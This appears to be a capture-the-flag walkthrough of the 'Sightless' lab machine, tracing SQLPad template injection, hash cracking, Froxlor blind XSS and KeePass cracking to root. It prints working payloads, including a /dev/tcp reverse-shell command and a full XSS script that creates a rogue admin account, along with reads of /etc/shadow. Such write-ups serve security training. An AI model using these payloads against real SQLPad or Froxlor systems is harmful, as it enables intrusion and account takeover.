Sightless
Sightless
Synopsis
Sightless is an easy-difficulty Linux machine featuring a website for a company offering various
services. Enumeration of the website reveals an SQLPad instance vulnerable to template injection
CVE-2022-0944 , which is leveraged to gain a foothold inside a Docker container. Further
enumeration reveals the /etc/shadow file with a password hash, which is cracked to reveal the
password, granting SSH access to the host. Post-exploitation enumeration reveals a Froxlor
instance vulnerable to Blind XSS CVE-2024-34070 . This is leveraged to gain access to the FTP
service, which contains a KeePass database. Accessing the database reveals the root SSH keys,
leading to a privileged shell on the host.
Skills Required
Basic web enumeration
Linux enumeration
Skills Learned
Exploiting CVEs
KeePass exploitation
Enumeration
Nmap
ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.32 | grep '^[0-9]' | cut -d '/' -f
1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.10.11.32
Starting Nmap 7.93 ( https://nmap.org ) at 2025-01-08 23:00 EST
Nmap scan report for sightless.htb (10.10.11.32)
Host is up (0.21s latency).
<...SNIP...>
An initial Nmap scan reveals three open TCP ports, port 21 running FTP , port 22 hosting an SSH
server, and port 80 running an Nginx web server. Since we don't have valid SSH credentials, we
begin our enumeration by visiting port 80. The output also reveals the domain sightless.htb ,
which we can add to our /etc/hosts file.
HTTP
Upon visiting the landing page, we see a static site for a company offering various services such as
SQLPad and Froxlor .
Attempting to access some of the services offered, we click on the Start Now button under
SQLPad . This redirects us to sqlpad.sightless.htb .
We can now add this entry to our /etc/hosts file using the sed command, which is a stream
editor for text manipulation.
The command modifies the /etc/hosts file directly, the -i option ensures the changes are
made in place. The pattern /10.10.11.32/ searches for the line containing the IP address
10.10.11.32 , and the s/$/ sqlpad.sightless.htb/ part appends sqlpad.sightless.htb to
the end of that line, $ represents the end of the line. This effectively maps the domain
sqlpad.sightless.htb to the IP address 10.10.11.32 , enabling us to access the service using
the domain name.
Foothold
Now, we can try accessing the page. Here, we come across an SQLPad instance. Clicking on the
three dots at the top-right corner, we find an About page that reveals the running version as
6.10.0 .
A quick Google search for vulnerabilities affecting this particular version leads us to CVE-2022-
0944, a template injection vulnerability. Additionally, we find this link with a more detailed
vulnerability analysis. We can leverage it to gain a foothold. To do this, we begin by initiating a new
connection by selecting Connections and then choosing New Connection .
We name the connection test and select MySQL as the driver. In the database field, we enter the
payload below, which leverages the Node.js child_process module to execute a command that
creates a bash script named exploit.sh in the /tmp directory. When executed, the script
initiates a reverse shell connection to the specified IP 10.10.14.21 on port 4455 , granting
remote access.
{{ process.mainModule.require('child_process').exec('echo "#!/bin/bash\nbash -i
>& /dev/tcp/10.10.14.21/4455 0>&1" > /tmp/exploit.sh') }}
We then proceed to start a Netcat listener to listen for incoming connections on port 4455 .
nc -lnvp 4455
listening on [any] 4455 ...
Now, we can execute the file using bash and modify the payload to run the script.
{{ process.mainModule.require('child_process').exec('/bin/bash /tmp/exploit.sh')
}}
Looking back at our Netcat listener, we receive a reverse shell as root .
nc -lnvp 4455
listening on [any] 4455 ...
connect to [10.10.14.21] from (UNKNOWN) [10.10.11.32] 49086
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@c184118df0a6:/var/lib/sqlpad# id
id
uid=0(root) gid=0(root) groups=0(root)
root@c184118df0a6:/var/lib/sqlpad#
From the prompt root@c184118df0a6 , we can infer that the session is running inside a Docker
container. Since we have root access to the container, we can explore sensitive files, such as
/etc/passwd and /etc/shadow . In the /etc/shadow file, we find the password hash for the user
michael .
Now, we can proceed to grab Michael's details from the /etc/passwd and /etc/shadow files
using the commands below:
The unshadow command merges the passwd_michael and shadow_michael files, producing a
single output file named michael_unshadowed . This file is now in a format that we can use with
John the Ripper to crack Michael's password.
<...SNIP...>
Here, we see that Michael's password is insaneclownposse . We can now use it to SSH into the
machine.
ssh [email protected]
[email protected]'s password:
Last login: Tue Sep 3 11:52:02 2024 from 10.10.14.23
michael@sightless:~$ id
uid=1000(michael) gid=1000(michael) groups=1000(michael)
Privilege Escalation
We can then proceed to check for the open ports present on the system using the netstat
command which is a command-line tool used for network-related tasks. It displays active network
connections, routing tables, and interface statistics. By using netstat , we can identify open ports
on a system and find which services are listening for incoming connections.
Here we see port 8080 is open. We can port forward it using SSH .
Upon accessing the port we come across a Froxlor login page, which is lightweight server
management software.
A quick Google search for vulnerabilities affecting Froxlor leads us to CVE-2024-34070, which is a
blind XSS vulnerability, along with a GitHub advisory detailing how to exploit it. We begin by using
test credentials to log in and intercept the request using Burp Suite .
In the login name field, we need to modify the loginname to include the payload from the GitHub
page, which is URL-encoded.
admin{{$emit.constructor`function+b()
{var+metaTag%3ddocument.querySelector('meta[name%3d"csrf-
token"]')%3bvar+csrfToken%3dmetaTag.getAttribute('content')%3bvar+xhr%3dnew+XMLHt
tpRequest()%3bvar+url%3d"https%3a//demo.froxlor.org/admin_admins.php"%3bvar+param
s%3d"new_loginname%3dabcd%26admin_password%3dAbcd%40%401234%26admin_password_sugg
estion%3dmgphdKecOu%26def_language%3den%26api_allowed%3d0%26api_allowed%3d1%26nam
e%3dAbcd%26email%3dyldrmtest%40gmail.com%26custom_notes%3d%26custom_notes_show%3d
0%26ipaddress%3d-
1%26change_serversettings%3d0%26change_serversettings%3d1%26customers%3d0%26custo
mers_ul%3d1%26customers_see_all%3d0%26customers_see_all%3d1%26domains%3d0%26domai
ns_ul%3d1%26caneditphpsettings%3d0%26caneditphpsettings%3d1%26diskspace%3d0%26dis
kspace_ul%3d1%26traffic%3d0%26traffic_ul%3d1%26subdomains%3d0%26subdomains_ul%3d1
%26emails%3d0%26emails_ul%3d1%26email_accounts%3d0%26email_accounts_ul%3d1%26emai
l_forwarders%3d0%26email_forwarders_ul%3d1%26ftps%3d0%26ftps_ul%3d1%26mysqls%3d0%
26mysqls_ul%3d1%26csrf_token%3d"%2bcsrfToken%2b"%26page%3dadmins%26action%3dadd%2
6send%3dsend"%3bxhr.open("POST",url,true)%3bxhr.setRequestHeader("Content-
type","application/x-www-form-
urlencoded")%3balert("Your+Froxlor+Application+has+been+completely+Hacked")%3bxhr
.send(params)}%3ba%3db()`()}}
We can URL-decode it using CyberChef , a web-based tool designed for various encoding,
decoding, and data manipulation tasks.
admin{{$emit.constructor`function b(){var
metaTag=document.querySelector('meta[name="csrf-token"]');var
csrfToken=metaTag.getAttribute('content');var xhr=new XMLHttpRequest();var
url="https://demo.froxlor.org/admin_admins.php";var
params="new_loginname=abcd&admin_password=Abcd@@1234&admin_password_suggestion=mg
phdKecOu&def_language=en&api_allowed=0&api_allowed=1&name=Abcd&email=yldrmtest@gm
ail.com&custom_notes=&custom_notes_show=0&ipaddress=-1&change_serversettings=0&ch
ange_serversettings=1&customers=0&customers_ul=1&customers_see_all=0&customers_se
e_all=1&domains=0&domains_ul=1&caneditphpsettings=0&caneditphpsettings=1&diskspac
e=0&diskspace_ul=1&traffic=0&traffic_ul=1&subdomains=0&subdomains_ul=1&emails=0&e
mails_ul=1&email_accounts=0&email_accounts_ul=1&email_forwarders=0&email_forwarde
rs_ul=1&ftps=0&ftps_ul=1&mysqls=0&mysqls_ul=1&csrf_token="+csrfToken+"&page=admin
s&action=add&send=send";xhr.open("POST",url,true);xhr.setRequestHeader("Content-
type","application/x-www-form-urlencoded");alert("Your Froxlor Application has
been completely Hacked");xhr.send(params)};a=b()`()}}
Looking at the base64 decoded payload. We see that it starts off by declaring a function b which
will be executed when called. It also has a metaTag query that looks for a CSRF token in the HTML
document, which is mainly used to bypass CSRF protection.
The script uses XMLHttpRequest , which allows it to send HTTP requests directly from JavaScript,
mimicking the behavior of a user interacting with the web page. It then defines the URL ( url ) to
which the HTTP request will be sent and params (the payload), which contains form data.
The attack targets admin_admins.php , which appears to be the script used for adding or
modifying admin users. The script also defines the values to be submitted to the server, including
various permissions and settings, such as api_allowed=1 and change_serversettings=1 ,
granting the new admin extensive control over the application.
Next, it opens an asynchronous HTTP POST request to the specified URL admin_admins.php , as
indicated by true . The script sets the request header to indicate that the body will be URL-
encoded, informing the server on how to handle the data sent in the request body. The payload
also includes an alert message that will be displayed. Finally, the script sends the request,
including the parameters and new admin credentials, and the function b is executed which
creates an admin account. To proceed, we can modify the script to target
http://admin.sightless.htb/ .
admin{{$emit.constructor`function b(){var
metaTag=document.querySelector('meta[name="csrf-token"]');var
csrfToken=metaTag.getAttribute('content');var xhr=new XMLHttpRequest();var
url="http://admin.sightless.htb:8080/admin_admins.php";var
params="new_loginname=abcd&admin_password=Abcd@@1234&admin_password_suggestion=mg
kidKecOu&def_language=en&api_allowed=0&api_allowed=1&name=Abcd&email=ywmltest@gma
il.com&custom_notes=&custom_notes_show=0&ipaddress=-1&change_serversettings=0&cha
nge_serversettings=1&customers=0&customers_ul=1&customers_see_all=0&customers_see
_all=1&domains=0&domains_ul=1&caneditphpsettings=0&caneditphpsettings=1&diskspace
=0&diskspace_ul=1&traffic=0&traffic_ul=1&subdomains=0&subdomains_ul=1&emails=0&em
ails_ul=1&email_accounts=0&email_accounts_ul=1&email_forwarders=0&email_forwarder
s_ul=1&ftps=0&ftps_ul=1&mysqls=0&mysqls_ul=1&csrf_token="+csrfToken+"&page=admins
&action=add&send=send";xhr.open("POST",url,true);xhr.setRequestHeader("Content-
type","application/x-www-form-urlencoded");alert("Your Froxlor Application has
been completely Hacked");xhr.send(params)};a=b()`()}}
In the intercepted login request, we can forward it to Repeater , then change the login name to
the updated payload and base64 encode it.
Here, we see that we can log in with the account we created. If we check under traffic, we can see
that there is FTP traffic for the user web1 .
If we click on the user web1 , we notice that we can access Froxlor as the user.
Here, we can proceed to change the password for the user and attempt to use it to access FTP ,
which we found earlier during enumeration.
Now with the new password for web1 , we can attempt to access FTP using FileZilla , an FTP
client that facilitates secure file transfer between a local system and a remote server.
Here, we see that the connection is successful, and we discover a KeePass database located in the
backup folder. We can copy the file and proceed to crack it using keepass2john , a tool that
extracts hash values from KeePass databases, enabling us to use hash-cracking tools like John
the Ripper to retrieve the password.
Now with the hash, we can proceed to crack it using John the Ripper .
In this output, we can see that the password is bulldogs . Now we can use it to access the
database.
kpcli --kdb=Database.kdb
Provide the master password: *************************
<...SNIP...>
kpcli:/General/sightless.htb/Backup> ls
=== Entries ===
0. ssh
kpcli:/General/sightless.htb/Backup> show -f ssh
Path: /General/sightless.htb/Backup/
Title: ssh
Uname: root
Pass: q6gnLTB74L132TMdFCpK
URL:
Notes:
Atchm: id_rsa (3428 bytes)
In the sightless database, we find a password and an id_rsa attachment. We can proceed to
retrieve the private key using the attach command in kpcli , which allows us to download the
id_rsa file.
kpcli:/General/sightless.htb/Backup> attach ssh
Atchm: id_rsa (3428 bytes)
Choose: (a)dd/(e)xport/(d)elete/(c)ancel/(F)inish?
Path to file: /home/fury/testing/sightless/writeup/writeup_new
Saved to: /home/fury/testing/sightless/writeup/writeup_new/id_rsa
Atchm: id_rsa (3428 bytes)
Looking at the key, we see it has an extra space, which we can proceed to remove. Then, we
change the permissions of the key with chmod 600 id_rsa , which will restrict access to the key,
allowing only the owner to read and write it. We can finally use the key to log in as root and grab
the root flag from /root/root.txt .